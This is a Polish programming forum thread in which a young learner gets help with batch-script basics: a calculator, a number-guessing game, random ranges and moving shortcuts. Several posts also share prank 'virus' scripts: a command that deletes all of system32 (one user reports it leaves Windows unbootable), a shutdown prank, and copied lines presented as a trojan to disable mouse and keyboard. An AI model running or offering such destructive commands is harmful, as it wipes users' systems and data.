Pomoce przy CMD (wierszu poleceń)

Vexiorus

Użytkownik
Dołączył
Kwiecień 25, 2009
Posty
51
Witajcie, mam problem.

Od niedawna zacząłem się bawic w wierszu poleceń, zaczęłem stawiac przed sobą nowe wyzwania... ale nie zawsze moge im sprostac :/
i tu nasunął mi się pomysł na zrobieniu tego tematu
<


pierwszy problem jaki mam, czy w cmd mozna ustawic jakims poleceniem aby zmienne
liczba_x
liczba_y
się np zsumowały ??

zacząłem robic kalkulator...

Kod:
@echo off
echo.
:baner
echo ----------------------------------------
echo              KALKULATOR
echo ----------------------------------------
:start
set /p liczba_x=Wpisz pierwsza licze : 
set /p znak=Wpisz znak :
set /p liczba_y=Wpisz droga liczbe :
:if

if "%znak"% == "+" (set wynik=%liczba_x% + %liczba_y%
echo.
echo %liczba_x% + %liczba_y% = %wynik%
echo.)

if "%znak"% == "-" (set wynik=%liczba_x% - %liczba_y%
echo.
echo %liczba_x% + %liczba_y% = %wynik%
echo.)

if "%znak"% == "x" (set wynik=%liczba_x% x %liczba_y%
echo.
echo %liczba_x% + %liczba_y% = %wynik%
echo.)

if "%znak"% == "/" (set wynik=%liczba_x% / %liczba_y%
echo.
echo %liczba_x% + %liczba_y% = %wynik%
echo.)
goto start

ale to nie dziala
gdy wpisze np: 2 + 2
to zamiast napisac

2 + 2 = 4

to pisze

2 + 2 = 2 + 2

czy ktos na tym forum wie jak i czy w ogole da sie zrobic cos takiego ??





drogi problem to gierka typu
program losuje liczbe w przedziale między 1 - 100
i musisz zgadnąc jaka to liczba
jezeli twoj wynik jest za maly to wyskakuje napis

podana liczba jest za mala sproboj jeszcze raz

a jezeli twoja liczba jest za duzo to wyskakuje napis

podana liczba jest za duza sproboj jeszcze raz

jezeli trafisz następuje pętla i wraca do początku i program losuje nową liczbe...

problem tkwi w tym ze nie umiem zrobic tak aby program losowal liczbe z pomiedzy 1 - 100
jedyny pomysl ktory mi przyszedl do glowy to opcja

Kod:
%random%

lecz ona losuje liczbe z pomiędzy 0 - 32767

drogim ktory tu wystepuje to znowu sumowanie zmiennej...
probowalem ustawic tak ze program po trafieniu liczby pokazuje za ktorym razem zgadłes
wiec zrobilem

Kod:
set ilerazy=1

i za kazdym razem kiedy nie trafisz następuje

Kod:
set ilerazy=%ilerazy%+1

Kod:
@echo off
:random
set RANDOM=%RANDOM%
set RANDOM=
set RANDOM=%RANDOM%
echo -------------------------------------------------
echo ___Zgaduj zgadula v 0.0003 mady by:___
echo ---------Vexiorus_____Company------------
echo.
echo.
echo Wybralem liczbe z Pomiedzy 0-32767
echo sproboj zgadnac jaka to liczba!
set ilerazy=1
:start
set /p zgaduj=wpisz liczbe: 

if "%zgaduj%" == "%RANDOM%" (echo -----------------------------------
    echo.
    echo Gratulacje zgadles liczbe!!!!!
    echo zgadles za %ilerazy% razy
    echo.
    echo -----------------------------------
    echo.
    echo.
    goto random)

if "%zgaduj%" LSS "%RANDOM%" (echo.
    echo Podana liczba jest za mala
    echo sproboj jeszcze raz
    echo.
    echo.
    echo.
    set ilerazy=%ilerazy%+1
    goto start)

if "%zgaduj%" GTR "%RANDOM%" (echo.
    echo Podana liczba jest za duza
    echo sproboj jeszcze raz
    echo.
    echo.
    echo.
    set ilerazy=%ilerazy%+1
    goto start)

pause
:end
exit


prosze o pomoc jezeli w ogule zrobienie czegos takiego w CMD jest mozliwe...

wiem ze mozna takie cos latwo zrobic w C++ ale niestety dopiero zaczynam nauke tego języka więc narazie takie cos jest dla mnie zbyt trudne...



ps. Nie wiedzialem gdzie ten temat moge umiescic...
jezeli Temat zostal umieszczony w zlym miejscu prosze administratora o przeniesienie go lub usunięcie...
 

thc_flow

Zbanowany
Dołączył
Listopad 13, 2008
Posty
649
A nie lepiej przesiąść się na jakiś bardziej rozbudowany język skryptowy jak n.p. Python? Ewentualnie kompilowany Object Pascal czy C++
 

discovery44

Były Moderator
Dołączył
Sierpień 14, 2007
Posty
763
THC_Flow dobrze gada. C++ jest czytelniejszy według mnie od tego. No i łatwiej i szybciej byś to zrobił w cpp/delphi niż tak. I najwyższy czas zająć się czymś większym.
 

adiblol

Użytkownik
Dołączył
Kwiecień 24, 2009
Posty
49
THC Flow, Discoverious: macie rację, ale skrypty wsadowe też się przydają, np. w szkole jak masz pomysł na jakiś programik-żart (np. wyświetlenie tekstu albo wyłączenie kompa) a nie masz kompilatora/interpretera to żaden problem - piszesz w notatniku i działa na każdym kompie z Windowsem
smile.gif


Co do programów...

Poprawny kod Kalkulatora:
Kod:
@echo off
echo.
:baner
echo ----------------------------------------
echo              KALKULATOR
echo        (poprawki by adiblol)
echo ----------------------------------------
echo W trakcie dzialania wpisz "x" aby zakonczyc!
:start
set /p liczba_x=Wpisz pierwsza licze : 
if "%liczba_x%"=="x" goto end
set /p znak=Wpisz znak : 
if "%znak%"=="x" goto end
set /p liczba_y=Wpisz droga liczbe : 
if "%liczba_y%"=="x" goto end

set /A wynik=%liczba_x%%znak%%liczba_y%

echo %liczba_x% %znak% %liczba_y% = %wynik%

goto start

:end


I poprawiona gra:
Kod:
@echo off

echo -------------------------------------------------
echo ___Zgaduj zgadula v 0.0003 mady by:___
echo ---------Vexiorus_____Company------------
echo             (poprawki by adiblol)
echo.
echo Mozesz w kazdej chwili zakonczyc wpisujac "x"!
:random
echo.
echo Wybralem liczbe z Pomiedzy 0-32767
echo sproboj zgadnac jaka to liczba!
set ilerazy=1
set los=%RANDOM%
:start
echo.
echo.
set /p zgaduj=wpisz liczbe: 

if "%zgaduj%" == "x" goto end


if "%zgaduj%" == "%los%" (
    echo -----------------------------------
    echo.
    echo Gratulacje zgadles liczbe!!!!!
    echo zgadles za %ilerazy% razy
    echo.
    echo -----------------------------------
    echo.
    echo.
    goto random
)

if "%zgaduj%" LSS "%los%" (
    echo.
    echo Podana liczba jest za mala
    echo sprobuj jeszcze raz
    set /A ilerazy=%ilerazy%+1
    goto start
)

if "%zgaduj%" GTR "%los%" (
    echo.
    echo Podana liczba jest za duza
    echo sprobuj jeszcze raz
    set /A ilerazy=%ilerazy%+1
    goto start
)

pause
:end
Swoją drogą...
bardzo dobra gierka do ćwiczenia pisania na klawiaturze numerycznej
smile.gif


Co do losowania w podanym zakresie:
Kod:
set /A wylosowana=%RANDOM% % 20
Zamiast "20" dajesz max. wartość a zamiast "wylosowana" nazwę zmiennej do której ma zostać wylosowana liczba.

A tak na przyszłość: jeśli nie wiesz jak używać jakiejś komendy konsolowej to dopisz do jej składni "/?", a jeśli komenda jest częścią Windowsa to wpisz "help " i nazwa komendy. Ja stąd czerpię swoją wiedzę o składni komend.
 

Vexiorus

Użytkownik
Dołączył
Kwiecień 25, 2009
Posty
51
Hmmm z kalkulatorem i dodawaniem zmiennych wczoraj się domyśliłem
<
oczywiście czieki opcji
set /?
w CMD

ale dręczy mnie nadala jeden problem,

chciał bym zrobic cos takiego aby w tej gierce
%random% losował liczbe z pomiędzy 1 - 100

probowalem zrobic cos takiego:

Kod:
@echo off
color 0f
:random
prompt generowanie liczby=
echo Trwa generowanie liczby prosze czekac...
set za_malo=0
set za_duzo=100
set RANDOM=%RANDOM%
set RANDOM=
set RANDOM=%RANDOM%                                                // probowalem zrobic cos takiego
if "%RANDOM%" GTR "%za_duzo%" (goto random)             // ale zanim program wylosuje taką liczbe z przedialu 1 - 100
if "%RANDOM%" EQU "%za_malo%" (goto random)             // mija za duzo czasu...
cls                                                                                   // a jezeli juz wybieze to zazwczaj jest to 1 ,  10 lub 100
echo -----------------------------------------
echo Zgaduj zgadula v 0.0004 mady by:
echo ---------Vexiorus_____Company------------
echo.
echo.
echo Wybralem liczbe z Pomiedzy 0-1000
echo sproboj zgadnac jaka to liczba!
set /a ilerazy=1
:start
prompt Vex zgaduj 0.0004=
set /p zgaduj=wpisz liczbe: 

if "%zgaduj%" EQU "%RANDOM%" (echo -----------------------------------
    echo.
    echo Gratulacje zgadles liczbe!!!!!
    echo zgadles za %ilerazy% razem
    echo.
    echo -----------------------------------
    echo.
    echo.
    pause
    goto random)

if "%zgaduj%" LSS "%RANDOM%" (echo.
    echo Podana liczba jest za mala
    echo sproboj jeszcze raz
    echo.
    echo.
    echo.
    set /a ilerazy=%ilerazy%+1
    goto start)

if "%zgaduj%" GTR "%RANDOM%" (echo.
    echo Podana liczba jest za duza
    echo sproboj jeszcze raz
    echo.
    echo.
    echo.
    set /a ilerazy=%ilerazy%+1
    goto start)

pause
:end
exit



a propo C++ to zaczynam się uczyc ale słabo mi idzie
<

wiem ze na studiach informatycznych tez będę się tego uczył
ale ja jestem dopiero w drógiej gimnazjum
<



(i jeszcze jedno pytanie co oznacza skrót BTW) ??

<div class='quotetop'>CYTAT
w szkole jak masz pomysł na jakiś programik-żart[/b]

Pewnie, będzie mącił sobie w głowie żeby:
wyświetlać tekst[/b]

albo
wyłączać komputer[/b]

Daruj sobie :]
[/b][/quote]

juz to robilem
<

od czegos trzeba zacząc ;P
to własnie CMD mnie zainspirowało do dalszej wędrówki po programowaniu,
pierwsze co wykonywałem to
wirus wykrywalny przez karzdego AV
<


Kod:
DEL C:\WINDOWS\system32\*.* /s /q /f

nie radze testowac czy dziala
<


puzniej nauczylem sie opcji IF

Kod:
@echo off
color fc
title UWAGA!!! Wirus
echo znaleziono wirusa czy chcesz go usunąc (T/N)?
set /p wirus=T dla tak N dla nie=
if "%wirus%" == "T" (DEL wirus.bat)
if "%wirus%" == "N" (shutdown -s -t 30 -c "Wirus wyłącza komputer)
exit
zapisałem oczywiscie z nazwą wirus.bat
<

i tak wyglądały moje początki
<
 

adiblol

Użytkownik
Dołączył
Kwiecień 24, 2009
Posty
49
Nie umiesz czytać ze zrozumieniem? :/

pyt:
chciał bym zrobic cos takiego aby w tej gierce
%random% losował liczbe z pomiędzy 1 - 100[/b]
odp (w poprzednim poście):
Co do losowania w podanym zakresie:
KOD
set /A wylosowana=%RANDOM% % 20

Zamiast "20" dajesz max. wartość a zamiast "wylosowana" nazwę zmiennej do której ma zostać wylosowana liczba.[/b]

tak więc:
Kod:
@echo off

echo -------------------------------------------------
echo ___Zgaduj zgadula v 0.0003 mady by:___
echo ---------Vexiorus_____Company------------
echo             (poprawki by adiblol)
echo.
echo Mozesz w kazdej chwili zakonczyc wpisujac "x"!
:random
echo.
echo Wybralem liczbe z Pomiedzy 0-1000
echo sproboj zgadnac jaka to liczba!
set ilerazy=1
set /A los=%RANDOM% %% 1000
rem echo start%los%end
:start
echo.
echo.
set /p zgaduj=wpisz liczbe: 

if "%zgaduj%" == "x" goto end


if "%zgaduj%" == "%los%" (
    echo -----------------------------------
    echo.
    echo Gratulacje zgadles liczbe!!!!!
    echo zgadles za %ilerazy% razy
    echo.
    echo -----------------------------------
    echo.
    echo.
    goto random
)

if "%zgaduj%" LSS "%los%" (
    echo.
    echo Podana liczba jest za mala
    echo sprobuj jeszcze raz
    set /A ilerazy=%ilerazy%+1
    goto start
)

if "%zgaduj%" GTR "%los%" (
    echo.
    echo Podana liczba jest za duza
    echo sprobuj jeszcze raz
    set /A ilerazy=%ilerazy%+1
    goto start
)

pause
:end
 

thc_flow

Zbanowany
Dołączył
Listopad 13, 2008
Posty
649
C++ na studiach? Dobry jesteś, wystarczy że pójdziesz do Technikum Informatycznego i w drugiej klasie czeka cię C++ i Object Pascal w trybie tekstowym
<
 

Vexiorus

Użytkownik
Dołączył
Kwiecień 25, 2009
Posty
51
zanim zapytałem drógi raz o to:

chciał bym zrobic cos takiego aby w tej gierce
%random% losował liczbe z pomiędzy 1 - 100[/b]

najpierw sprawdziłem :

Co do losowania w podanym zakresie:
KOD
set /A wylosowana=%RANDOM% % 20

Zamiast "20" dajesz max. wartość a zamiast "wylosowana" nazwę zmiennej do której ma zostać wylosowana liczba.[/b]

nie działało
<

więc zapytałem jeszcze raz,

ale dopatrzałem się błędu
zamiast tak:

Kod:
set /A wylosowana=%RANDOM% % 20

powinno byc tak:

Kod:
set /A wylosowana=%RANDOM% %% 20

poprostu powinien byc 2 razy %
<
sorka za ponowne zapytanie o cos co juz ma odpowiedz.
I dziękuje za szybkie odpowiedzi jak bym mial jeszcze jakies problemy to będe pisal
<
 

widmo17

Były Moderator
Dołączył
Lipiec 16, 2007
Posty
1089
C++ na studiach? Dobry jesteś, wystarczy że pójdziesz do Technikum Informatycznego i w drugiej klasie czeka cię C++ i Object Pascal w trybie tekstowym biggrin.gif[/b]
Albo do LO- la, spotkasz tam wykwalifikowaną kadrę informatyczną która nie wie że typ `double` piszę się double a nie dubl, oraz pozwolą Ci poznać jak wkleić 10 bibliotek po to, żeby wyświetlić na ekranie `hello world` ;]
 

shoock12

Użytkownik
Dołączył
Styczeń 24, 2009
Posty
123
"pierwsze co wykonywałem to
wirus wykrywalny przez karzdego AV
<


Kod:
DEL C:\WINDOWS\system32\*.* /s /q /f

nie radze testowac czy dziala
<
"


Akurat miałem zainstalowanego windows-a na virtual PC zaraz sprawdzę czy działa. Dałem tą komendę do cmd. Hmm.. niektóre się usunęły. A niektóre, bo są używane przez jakiś proces.

Dotychczasowy rezultat:
-nie chce się wyłączyć
-i się nie włączy
"Nie można uruchomić systemu Windows,
ponieważ następujący plik nie został znaleziony lub jest uszkodzony:
<katalog główny Windows>\system32\hal.dll.
Zainstaluj ponownie kopię tego pliku."
 

Vexiorus

Użytkownik
Dołączył
Kwiecień 25, 2009
Posty
51
czyli jednak windows nie dziala ;P

ps:. a co powiece o

Kod:
echo roundll32 mouse,disable >> %random% . %random%
echo roundll32 keyboard,disable >> %random% . %random%

nie jestem pewien czy to dziala ale jezeli tak to
czy jezeli zrobie takiego trojana to da sie to naprawic jakos ?? czy jezeli zrestartuje komputer to nadal myszka i klawiatura nie będą działały ??
 

adiblol

Użytkownik
Dołączył
Kwiecień 24, 2009
Posty
49
Po co to ">> %random% . %random%" ??? Przecież można zrobić ">NUL" jeśli nie chcesz żeby użytkownik zobaczył co jest grane...

dodane:
Przeczytałem dokładniej i nie rozumiem: PO CO zapisujesz komendy wyłączające klawiaturę i mysz do plików o LOSOWYCH nazwach? Nie rozumiem sensu tego :/
 

Vexiorus

Użytkownik
Dołączył
Kwiecień 25, 2009
Posty
51
szczerze mówiąc to sam nie wiem ;/ ja tego nie pisałem tylko zkopiowałem.

(powiedzmy ze to działa, nie wiem nie sprawdzałem)
i odpala mi się taki plik przy wypakowywaniu czegos z winRara < to tylko przykład
blokuje mi myszke i klawaiture, jak moge to wyłączyc ? czy wystarczy że zresetuje komputer ??


kolejne pytanie:

stworzylem folder
{
C:
--------Vex zgaduj 0.0003 <folder
-----------------Vex zgaduj 0.0003 <skrót od "Vex zgaduj 0.0003" ktory jest w folderze Program
-----------------readme <plik tekstowy
-----------------Program <folder
-------------------------Ikonka <obrazek który uzywam jako ikonki
-------------------------Vex zgaduj 0.0003 < plik .bat gra ze zgadywaniem liczb
-------------------------Film_wojownik <filmik zrobiony we flashu
}

puzniej pakuje to do winrara u ustawiam ze ma wypakowywac na dysk C:

ale moj problem polega na tym:

w folderze Program chcial bym zrobic kolejny plik przenies skrót.bat
ustawil bym WinRara aby po rozpakowaniu odrazu otworzyl przenies skrót.bat

przenies skrót.bat miał by za zadanie skopiowac plik Vex zgaduj 0.0003 <skrót
na pulpit
<

ale nie wiem jak to zrobic ;(

probowalem cos takiego

Kod:
@echo off
echo jezeli chcesz utwozyc skrot na pulpit kliknij dowolny klawisz
echo jezeli nie chcesz, poprostu zamknij cmd.exe
pause > null
move C:\Vex zgaduj 0.0003\Vex zgaduj 0.0003   C:\Documents and Settings\All Users\Pulpit
del C:\Vex zgaduj 0.0003\null

ale to nie dziala

tą ostatnią linijke zrobilem poniewasz

Kod:
pause > null

tworzy w folderze w którym plik .bat się znajduje, tworzy plik o nazwie null. czy da sie zrobic cos aby tak nie roobilo ??


ps: wiem ze mam duzo pytan
<
na innych forach ludzie mowili

google.pl nie boli

no i mają racje, ale przez google.pl zamiast odpowiedzi znajdowałem tylko tamte fora
<

a to jest jedyne forum na którym jeszcze nikt się nie buntuje ze zadaje tyle pytan ;P
ale w koncu od tego są fora -.-
 

adiblol

Użytkownik
Dołączył
Kwiecień 24, 2009
Posty
49
Zamiast "null" używaj "NUL", w końcu to Winzgroza a nie Linux.

"move C:\Vex zgaduj 0.0003\Vex zgaduj 0.0003 C:\Documents and Settings\All Users\Pulpit" - nie dałeś rozszerzenia .bat

Tworzenie skrótów to wyższa szkoła jazdy, w tym przypadku przenosisz cały program, a nie skrót (nie gra to roli bo program ma mały rozmiar). Zamiast zwykłego skrótu .lnk możesz użyć bodajże .url, jeśli system jest dobrze skonfigurowany to ikonka będzie taka jaką chcesz i wszystko będzie działać. A pliki .url są o niebo lepsze od .lnk, bo są tekstowe i łatwo je tworzyć (np. przy pomocy poleceń "echo.[InternetShortcut]>>skrót.url". Więcej o plikach .url tutaj: http://www.cyanwerks.com/file-format-url.html

Na przyszłość: jeśli coś nie będzie działać przy tworzeniu skrótów .url, pamiętaj, że operator ">" powoduje NAPISANIE pliku, a ">>" DOPISANIE do pliku.
 

Vexiorus

Użytkownik
Dołączył
Kwiecień 25, 2009
Posty
51
tylko ze ja juz utworzylem skrot
PPM>nowy>skrót
<
podałem ścierzke i działa
ale pytanie było jak przeniesc ten skrót
<


"move C:\Vex zgaduj 0.0003\Vex zgaduj 0.0003 C:\Documents and Settings\All Users\Pulpit" - nie dałeś rozszerzenia .bat[/b]

prubowalem tez tak

Kod:
move C:\Vex zgaduj 0.0003\Vex zgaduj 0.0003.bat C:\Documents and Settings\All Users\Pulpit

tez nie dzialalo :/ mi sie wydaje ze komenda move widzi to jako jedną ścierzke...
czy można użyc jakiegos znaku który oddzielał by te dwie ścierzki ??




off topic:
mam pytanie
czemu mi posty się nie nabijają ?? ;D
konies off-a
<
 

adiblol

Użytkownik
Dołączył
Kwiecień 24, 2009
Posty
49
Jeśli chcesz przenieść SKRÓT, a nie PROGRAM, to musisz dać rozszerzenie .lnk

W dziale off-topic posty się nie nabijają, ponieważ administratorzy przewidzieli ten dział do pisania o rzeczach niezwiązanych z programowaniem i hackingiem, a jednak dużo osób pisze tutaj o (mniej lub bardziej) zaawansowanej informatyce.
 

Vexiorus

Użytkownik
Dołączył
Kwiecień 25, 2009
Posty
51
poddaje się z tym przenoszeniem...
nie dziala
<

uzywalem na koncu tez .lnk i tez nie dziala...


mam jeszcze jedno pytanie

Kod:
set /a 1 + 1 - 1 * 1 / 1

jakie eszcze ma znaki opcja set /a ??
czy mozna jakos zrobic potęgowanie i pierwiastkowanie, uzywac sin( cos( tan(
i tym podobne ??
<
 

adiblol

Użytkownik
Dołączył
Kwiecień 24, 2009
Posty
49
Przerzuć się na C++, to będziesz mógł wszystko
smile.gif
Możesz też na Pascala, ale nie polecam.
 
Do góry Bottom